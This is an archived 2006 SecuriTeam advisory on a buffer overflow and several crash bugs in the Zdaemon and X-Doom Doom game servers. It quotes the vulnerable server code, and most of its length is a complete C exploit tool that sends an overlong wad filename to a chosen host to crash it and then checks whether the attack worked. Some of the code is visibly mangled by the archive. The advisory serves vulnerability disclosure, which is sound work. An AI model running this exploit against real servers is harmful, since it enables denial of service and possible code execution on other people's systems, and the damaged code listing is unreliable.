

[NEWS] Zdaemon and xdoom Multiple Vulnerabilities (Buffer Overflow, DoS)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-04/msg00001.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - *Date:* 2 Apr 2006 14:06:21 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Zdaemon and xdoom Multiple Vulnerabilities (Buffer Overflow, DoS)

SUMMARY

<<http://www.zdaemon.org/>> Zdaemon is the most played Doom engine on Internet with tons of servers available online and many players.

<<http://www.doom2.net/~xdoom/>> X-Doom instead is an old server-only port focused on Linux/BSD and is/was based on the latest Zdaemon source code which was available before becoming closed source.

X-Doom and Zdaemon do not validate user input, allowing attackers to execute arbitrary code and crash the servers (DoS).

DETAILS

Vulnerable Systems:

- * Zdaemon version 1.08.01
- * X-Doom version 1.06

is_client_wad_ok Buffer Overflow:

When a client joins the match, the server checks if the wad files (the maps) used on the client are the same it has.

[NEWS] Zdaemon and xdoom Multiple Vulnerabilities (Buffer Overflow, DoS)

So the client sends the name of each wad used on the server followed by the local md5 hash of the file, the server gets the received filename and copies it in a buffer of 256 bytes using strcpy().

The resulted buffer-overflow is limited by the my_strupr function which converts all the chars in their capital case but during my tests with GDB I was able to overwrite a return address with the original string using a longer filename.

The attacker needs to know the right keyword if the server is protected by password.

IP banning doesn't protect versus this attack because it's a subsequent check and so an attacker can exploit any server on which he is banned.

Vulnerable code:

From server/src/w_wad.cpp (X-Doom / Zdaemon 1.06):

```
char *wad_check::is_client_wad_ok(const char *fname,const byte *csum)
{
int i;
char temp[256];
static char errmsg[512];

strcpy(temp,plain_filename(fname));
my_strupr(temp);
if ( (i=find(fname)) < 0 )
{
printf(errmsg,"\nYou should not load \"%s\" on this
server.\nGet rid of it!\n",temp);
return errmsg;
}
...

```

ZD_MissingPlayer, ZD_UseItem and ZD_LoadNewClientLevel/ZD_ValidClient DoS :

Zdaemon supports many commands for playing, like changing the player name, chatting, moving, selecting weapons and so on... just like any common multiplayer game.

The functions ZD_MissingPlayer, ZD_UseItem and ZD_ValidClient (exploitable through ZD_LoadNewClientLevel) read an 8 bits number from the client which is used to select a specific player slot or item and then doing some operations.

The server uses 16 slots (MAXPLAYERS) and less than 40 items (NUMARTIFACTS) so if an attacker uses an invalid number the server crashes immediately after trying to access an invalid memory zone.

This is an in-game bug so must be respected all the requirements for accessing the server (correct md5 hashes of the wads, password and no banning) or it can't be exploited.

Vulnerable Code:

[NEWS] Zdaemon and xdoom Multiple Vulnerabilities (Buffer Overflow, DoS)

From server/src/sv_main.cpp (X-Doom / Zdaemon 1.06):

```
void ZD_MissingPlayer(void)
{
int pnum = ZD_ReadByte(); // the player that our
client is missing
int cl = parse_cl;
player_t* player = &players[pnum];

if (!playeringame[pnum])
{
Printf("ZD_MissingPlayer: BIG PROBLEM!!\n");
return;
}
ZDOP.Init();
if (player->isbot)
...

void ZD_UseItem(void)
{
int which = ZD_ReadByte();
int i;

// None left!
if (players[parse_cl].inventory[which] <= 0)
...

static void ZD_LoadNewClientLevel(char *levelname, int i)
{
player_s *pli;

if (!ZD_ValidClient(i)) return;
...

bool ZD_ValidClient(int i)
{
return (playeringame[i] && !players[i].isbot);
}
```

Exploit:

winerr.h can be found at:

<<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html>>

<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html>

zd_huffman.c

/*

Zdaemon huffman 0.1

by Luigi Auriemma

e-mail: aluigi at autistici.org

web: <http://aluigi.altervista.org>

[NEWS] Zdaemon and xdoom Multiple Vulnerabilities (Buffer Overflow, DoS)

source code from Doom (X-Doom/old Zdaemon code) with modified HuffFreq for Zdaemon

```
*/

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <stdarg.h>

#include <ctype.h>
#include <math.h>

#define MAX_UDP_PACKET 1400 // modify it if you want

int LastCompMessageSize = 0;

typedef struct
{
    struct huffnode_s *zero;
    struct huffnode_s *one;
    unsigned char val;
    float freq;
} huffnode_s, huffnode_t;

typedef struct
{
    unsigned int bits;
    int len;
} hufftab_t;
static huffnode_t *HuffTree=0;
static hufftab_t HuffLookup[256];

static float HuffFreq[256]=
{
    0.46947443, 0.03744229, 0.02009356, 0.00707818,
    0.00728153, 0.02111485, 0.00445556, 0.00229655,
    0.01265820, 0.00241106, 0.00299206, 0.00265591,
    0.00284209, 0.00339483, 0.00203944, 0.00192218,
    0.01423221, 0.00194756, 0.00250942, 0.00224109,
    0.00264493, 0.00185304, 0.00164660, 0.00135765,
    0.00238693, 0.00155698, 0.00132108, 0.00136161,
    0.00168719, 0.00133527, 0.00138385, 0.00133988,
    0.00255865, 0.00167663, 0.00142282, 0.00185067,
    0.00179926, 0.00132452, 0.00107309, 0.00524015,
    0.00246438, 0.00096060, 0.00734912, 0.00102914,
    0.00170869, 0.00128854, 0.00097614, 0.00113916,
    0.00186316, 0.01077324, 0.00102875, 0.00354735,
    0.00125545, 0.00114088, 0.00103111, 0.00132834,
    0.00206495, 0.00107727, 0.00099150, 0.00454583,
```

[NEWS] Zdaemon and xdoom Multiple Vulnerabilities (Buffer Overflow, DoS)

0.00144284, 0.00102763, 0.00105168, 0.00117436,
0.00197808, 0.00103239, 0.00325006, 0.00115212,
0.00125261, 0.00100999, 0.00100125, 0.00112827,
0.00129156, 0.00098112, 0.00095781, 0.00098035,
0.00117501, 0.00103275, 0.00111885, 0.00110044,
0.00820434, 0.00091584, 0.00098619, 0.00089814,
0.00135214, 0.00088258, 0.00095421, 0.00088725,
0.00213761, 0.00099426, 0.00102234, 0.00098324,
0.00116107, 0.00090388, 0.00085447, 0.00094951,
0.00157389, 0.00110302, 0.00089621, 0.00094432,
0.00813035, 0.00961901, 0.00476472, 0.00097480,
0.00135165, 0.00093732, 0.00086517, 0.00092980,
0.00543320, 0.00116154, 0.00099676, 0.00192325,
0.00154463, 0.00087127, 0.00106448, 0.00113199,
0.00343841, 0.00469290, 0.00088090, 0.00102023,
0.00131824, 0.00091547, 0.00088527, 0.00090882,
0.00113292, 0.00088162, 0.00088137, 0.00112587,
0.00328156, 0.00088004, 0.00102551, 0.00086177,
0.00107408, 0.00116912, 0.00084356, 0.00081423,
0.00125029, 0.00079219, 0.00079757, 0.00089434,
0.00107415, 0.00083609, 0.00078779, 0.00084491,
0.00148952, 0.00085361, 0.00079014, 0.00082267,
0.00103773, 0.00083512, 0.00081632, 0.00081653,
0.00123191, 0.00079775, 0.00080431, 0.00081823,
0.00122765, 0.00080738, 0.00080918, 0.00084970,
0.00235248, 0.00079080, 0.00078659, 0.00081687,
0.00107209, 0.00078719, 0.00078745, 0.00097451,
0.00122689, 0.00078703, 0.00079399, 0.00076628,
0.00119746, 0.00076251, 0.00079380, 0.00086241,
0.00132236, 0.00077717, 0.00087071, 0.00080988,
0.00099657, 0.00075881, 0.00077917, 0.00080354,
0.00112704, 0.00078615, 0.00078358, 0.00077879,
0.00109891, 0.00095691, 0.00080671, 0.00079289,
0.00244628, 0.00080076, 0.00075714, 0.00079463,
0.00122710, 0.00075707, 0.00073999, 0.00079447,
0.00113160, 0.00095707, 0.00075825, 0.00074562,
0.00105562, 0.00075720, 0.00079450, 0.00360570,
0.00135354, 0.00077605, 0.00076658, 0.00081708,
0.00138878, 0.00079424, 0.00083277, 0.00076214,
0.00117659, 0.00598942, 0.00082706, 0.00081629,
0.00132374, 0.00075337, 0.00077039, 0.00113487,
0.00163245, 0.00090353, 0.00086913, 0.00091947,
0.00125829, 0.00079054, 0.00079913, 0.00082155,
0.00124808, 0.00079468, 0.00126046, 0.00086568,
0.00130345, 0.00104526, 0.00107681, 0.00118829,
0.00178076, 0.00132801, 0.00150205, 0.00155763,
0.00225596, 0.00221831, 0.00161586, 0.00166614,
0.00217488, 0.00195445, 0.00243183, 0.00258366,
0.00355952, 0.00450725, 0.00615087, 0.02669448
};

[NEWS] Zdaemon and xdoom Multiple Vulnerabilities (Buffer Overflow, DoS)

```
void I_FatalError (const char *error, ...)
{
va_list argptr;
va_start (argptr, error);
vprintf (error, argptr);
va_end (argptr);
exit(-1);
}

static void FindTab(huffnode_t *tmp,int len,unsigned int bits)
{
if(!tmp)
I_FatalError("no huff node");
if (tmp->zero)
{
if(!tmp->one)
I_FatalError("no one in node");
if(len>=32)
I_FatalError("compression screwd");
FindTab((huffnode_t *)tmp->zero,len+1,bits<<1);
FindTab((huffnode_t *)tmp->one,len+1,(bits<<1)|1);
return;
}
HuffLookup[tmp->val].len=len;
HuffLookup[tmp->val].bits=bits;
}

static unsigned char Masks[8]=
{
0x01, 0x02, 0x04, 0x08,
0x10, 0x20, 0x40, 0x80
};

static void PutBit(unsigned char *buf,unsigned pos,unsigned bit)
{
if (bit)
buf[pos >> 3] |= Masks[pos & 7];
else
buf[pos >> 3] &= ~Masks[pos & 7];
}

static unsigned GetBit(unsigned char *buf,unsigned pos)
{
return ( buf[pos >> 3] & Masks[pos & 7] );
}

static void BuildTree(float *freq)
{
float min1,min2;
int i,j,minat1,minat2;
huffnode_t *work[256];
```

[NEWS] Zdaemon and xdoom Multiple Vulnerabilities (Buffer Overflow, DoS)

```
huffnode_t *tmp;

for (i=0;i<256;i++)
{
work[i]=(huffnode_s *)malloc(sizeof(huffnode_t));
work[i]->val=(unsigned char)i;
work[i]->freq=freq[i];
work[i]->zero=0;
work[i]->one=0;
HuffLookup[i].len=0;
}
for (i=0;i<255;i++)
{
minat1=-1;
minat2=-1;
min1=1E30;
min2=1E30;
for (j=0;j<256;j++)
{
if (!work[j])
continue;
if (work[j]->freq<min1)
{
minat2=minat1;
min2=min1;
minat1=j;
min1=work[j]->freq;
}
else if (work[j]->freq<min2)
{
minat2=j;
min2=work[j]->freq;
}
}
if (minat1<0)
I_FatalError("minat1: %d",minat1);
if (minat2<0)
I_FatalError("minat2: %d",minat2);

tmp = (huffnode_s *)malloc(sizeof(huffnode_t));
tmp->zero=(void *)work[minat2];
tmp->one=(void *)work[minat1];
tmp->freq=work[minat2]->freq+work[minat1]->freq;
tmp->val=0xff;
work[minat1]=tmp;
work[minat2]=0;
}
HuffTree=tmp;
FindTab(HuffTree,0,0);
}
```

[NEWS] Zdaemon and xdoom Multiple Vulnerabilities (Buffer Overflow, DoS)

```
void HuffDecode(unsigned char *in,unsigned char *out,int inlen,int
*outlen)
{
int bits,nbits;
huffnode_t *tmp;
unsigned char *pout, *plast;

pout = out;
plast = out + 8*(MAX_UDP_PACKET+32)-1;

if (*in==0xff)
{
if (inlen>1)
memcpy(out,in+1,inlen-1);
*outlen = inlen-1;
return;
}

nbits = (inlen-1)*8 - (int)(unsigned) *in++;
for (bits=0; bits<nbits; )
{
tmp = HuffTree;
do
{
tmp = (GetBit(in,bits)) ? (huffnode_s *)tmp->one : (huffnode_s
*)tmp->zero;
bits++;
}
while (tmp->zero);
*pout++ = tmp->val;
if (pout>=plast)
{
printf("HuffDecode: overflow\n");
break;
}
}

*outlen = (int)(pout - out);
}

void HuffEncode(unsigned char *in,unsigned char *out,int inlen,int
*outlen)
{
int i,j,bitat;
unsigned int t;
bitat=0;
for (i=0;i<inlen;i++)
{
t=HuffLookup[in[i]].bits;
for (j=0;j<HuffLookup[in[i]].len;j++)
{
```

[NEWS] Zdaemon and xdoom Multiple Vulnerabilities (Buffer Overflow, DoS)

```
PutBit(out+1,bitat+HuffLookup[in[i]].len-j-1,t&1);
t>>=1;
}
bitat+=HuffLookup[in[i]].len;
}
*outlen=1+(bitat+7)/8;
*out=8*((*outlen)-1)-bitat;
if(*outlen >= inlen+1)
{
*out=0xff;
memcpy(out+1,in,inlen);
*outlen=inlen+1;
}
}
```

```
void HuffInit(void)
{
BuildTree(HuffFreq);
}
```

```
/* EOF */
```

```
zdaebuf.c
```

```
/*
```

```
by Luigi Auriemma
```

```
*/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "zd_huffman.c"
```

```
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
```

```
#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/param.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
```

```
#define stristr strcasestr
```

[NEWS] Zdaemon and xdoom Multiple Vulnerabilities (Buffer Overflow, DoS)

```
#define ONESEC 1
#endif

#define VER "0.1"
#define PORT 10666
#define BUFFSZ 8192
#define BOFSZ 300

#define PUT16(x,y) *(u_short *)x = y; \
x += 2;
#define PUT32(x,y) *(u_int *)x = y; \
x += 4;

#define LAUNCHER_CHALLENGE 777123
#define VERSION 108
#define MAX_UDP_PACKET 1400
#define CONNECT_CHALLENGE 200
#define NETWORK_ERROR 254

int addwad(u_char *data, u_char *wad, u_char *crc);
u_char **info_proto(u_char *data, int len, int *ver, int *wads);
void delimit(u_char *data);
int mycpy(u_char *dst, u_char *src);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int
err);
int timeout(int sock, int sec);
u_int resolv(char *host);
void std_err(void);

struct sockaddr_in peer;

int main(int argc, char *argv[]) {
u_int seed;
int sd,
i,
len,
wads = 0,
ver = VERSION;
u_short port = PORT;
u_char buff[BUFFSZ],
password[128],
bof[BUFFSZ],
huffbuff[BUFFSZ],
**wad,
*p;

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
```

[NEWS] Zdaemon and xdoom Multiple Vulnerabilities (Buffer Overflow, DoS)

```
setbuf(stdout, NULL);

fputs("\n"
      "Zdaemon <= 1.08.01 buffer-overflow in is_client_wad_ok " VER "\n"
      "by Luigi Auriemma\n"
      "e-mail: aluigi@xxxxxxxxxxxxxx\n"
      "web: http://aluigi.altervista.org\n"
      "\n", stdout);

if(argc < 2) {
  printf("\n"
        "Usage: %s <host> [port(%hu)]\n"
        "\n", argv[0], port);
  exit(1);
}

if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s : %hu\n",
       inet_ntoa(peer.sin_addr), port);

seed = time(NULL);
*password = 0;

printf("- query server:\n");

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

p = buff;
PUT32(p, LAUNCHER_CHALLENGE);
len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);

close(sd);
wad = info_proto(buff, len, &ver, &wads);

HuffInit();

redo:
printf("- start connection:\n");

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

p = buff;
*p++ = 0xff; // no compression
*p++ = CONNECT_CHALLENGE; // cmd
*p++ = ver; // version
```

[NEWS] Zdaemon and xdoom Multiple Vulnerabilities (Buffer Overflow, DoS)

```
*p++ = seed; // level
p += mycpy(p, password); // password
*p++ = 2; // number of wads
memset(bof, 'a', BOFSZ);
bof[BOFSZ] = 0; // wad bof
p += addwad(p, bof, "f3a242bf226eb10c28b8c7fccb18c88f");

len = p - buff; // check length if major than
max
if(len > (MAX_UDP_PACKET + 32)) len = MAX_UDP_PACKET + 32;

len = send_recv(sd, buff, len, buff, sizeof(buff), 0);
close(sd);
if(len < 0) goto quit;

HuffDecode(buff, huffbuff, len, &len); // decompression

if(huffbuff[0] == NETWORK_ERROR) {
  p = huffbuff + 1;
  goto error;
  }
if(huffbuff[5] == NETWORK_ERROR) {
  p = huffbuff + 6;
  goto error;
  }

error:
if(stristr(p, "password")) {
  printf("\n- server is protected with password, insert the
  keyword:\n ");
  fgets(password, sizeof(password), stdin);
  delimit(password);
  goto redo;
}

} else {
  printf("\n"
  "Error: client has not been accepted:\n"
  "%s\n",
  p);
  exit(1);
  }

quit:
printf("- wait some seconds\n");
for(i = 3; i; i--) {
  printf("%d\r", i);
  sleep(ONESEC);
}

printf("- check server:\n");
```

[NEWS] Zdaemon and xdoom Multiple Vulnerabilities (Buffer Overflow, DoS)

```
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

p = buff;
PUT32(p, LAUNCHER_CHALLENGE);
if(send_recv(sd, buff, p - buff, buff, sizeof(buff), 0) < 0) {
printf("\n Server IS vulnerable!!!\n\n");
} else {
printf("\n Server does not seem vulnerable\n\n");
}

close(sd);

for(i = 0; i < wads; i++) free(wad[i]); // free everything
free(wad);

return(0);
}

int addwad(u char *data, u char *wad, u char *crc) {
int i;
tmp;
u char *p;

p = data;
p += mycpy(p, wad);

for(i = 0; i < 16; i++) {
sscanf(crc, "%02x", &tmp);
crc += 2;
*p++ = tmp;
}
return(p - data);
}

u char **info_proto(u char *data, int len, int *ver, int *wads) {
int i;
num;
u char *limit;
**wad;

limit = data + len;
printf(" Master ch %d\n", *(u int *)data); data += 4;
printf(" Hostname %s\n", data); data +=
strlen(data) + 1;
printf(" Players %hhu/%hhu\n", data[0], data[1]); data += 2;
printf(" Mapname %s\n", data); data +=
strlen(data) + 1;
num = *data++;
*wads = num + 1;
wad = malloc(*wads * sizeof(char *)); // +1 for Iwad
```

```
too
if(num) {
printf(" Wads:\n");
for(i = 0; i < num; i++) {
wad[i] = strdup(data);
printf(" %s ", data); data +=
strlen(data) + 1;
}
printf("\n");
}
printf(" Gametype %hhu\n", *data++);
printf(" Gamename %s\n", data); data +=
strlen(data) + 1;
wad[*wads - 1] = strdup(data);
printf(" IWad %s\n", data); data +=
strlen(data) + 1;
printf(" Gameskill %hhu\n", *data++);
printf(" File path %s\n", data); data +=
strlen(data) + 1;
printf(" E-mail %s\n", data); data +=
strlen(data) + 1;
printf(" DMFlags %u\n", *(u_int *)data); data += 4;
printf(" DMFlags2 %u\n", *(u_int *)data); data += 4;
num = *data++;
if(num) {
printf(" Players:\n");
for(i = 0; i < num; i++) {
printf(" %s ", data); data +=
strlen(data) + 1;
printf(" %hu ", *(u_short *)data); data += 2;
printf(" %hu", *(u_short *)data); data += 2;
printf(" %hhu", *data++);
printf(" %hu", *(u_short *)data); data += 2;
printf("\n");
}
}
*ver = *(u_short *)data; data += 2;
printf(" Version %hu\n", *ver);
// printf(" Ext info %u\n", *(u_int *)data); data += 4;
data += 4;
printf(" Password %hhu\n", *data++);

// come on, it's enough
// that's all we need

return(wad);
}

void delimit(u_char *data) {
while(*data && (*data != '\n') && (*data != '\r')) data++;
}
```

[NEWS] Zdaemon and xdoom Multiple Vulnerabilities (Buffer Overflow, DoS)

```
*data = 0;
↓

int mycpy(u char *dst, u char *src) {
u char *p;

for(p = dst; *src; src++, p++) {
*p = *src;
↓
*p++ = 0;
return(p - dst);
↓

int send_recv(int sd, u char *in, int insz, u char *out, int outsz, int
err) {
int retry,
len;

if(in) {
for(retry = 3; retry; retry--) {
if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer,
sizeof(peer))
< 0) std_err();
if(!timeout(sd, 1)) break;
↓

if(!retry) {
if(!err) return(-1);
fputs("\nError: socket timeout, no reply received\n\n",
stdout);
exit(1);
↓
} else {
if(timeout(sd, 3) < 0) return(-1);
↓

len = recvfrom(sd, out, outsz, 0, NULL, NULL);
if(len < 0) std_err();
return(len);
↓

int timeout(int sock, int sec) {
struct timeval tout;
fd_set fd_read;
int err;

tout.tv_sec = sec;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
```

[NEWS] Zdaemon and xdoom Multiple Vulnerabilities (Buffer Overflow, DoS)

```
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}

u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int*)(hp->h_addr);
}
return(host_ip);
}

#ifdef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif

/* EOF */
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:aluigi@xxxxxxxxxxxxxx>> Luigi Auriemma.

The original article can be found at:
<<http://aluigi.altervista.org/adv/zdaebf-adv.txt>>
<http://aluigi.altervista.org/adv/zdaebf-adv.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx

=====

[NEWS] Zdaemon and xdoom Multiple Vulnerabilities (Buffer Overflow, DoS)

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.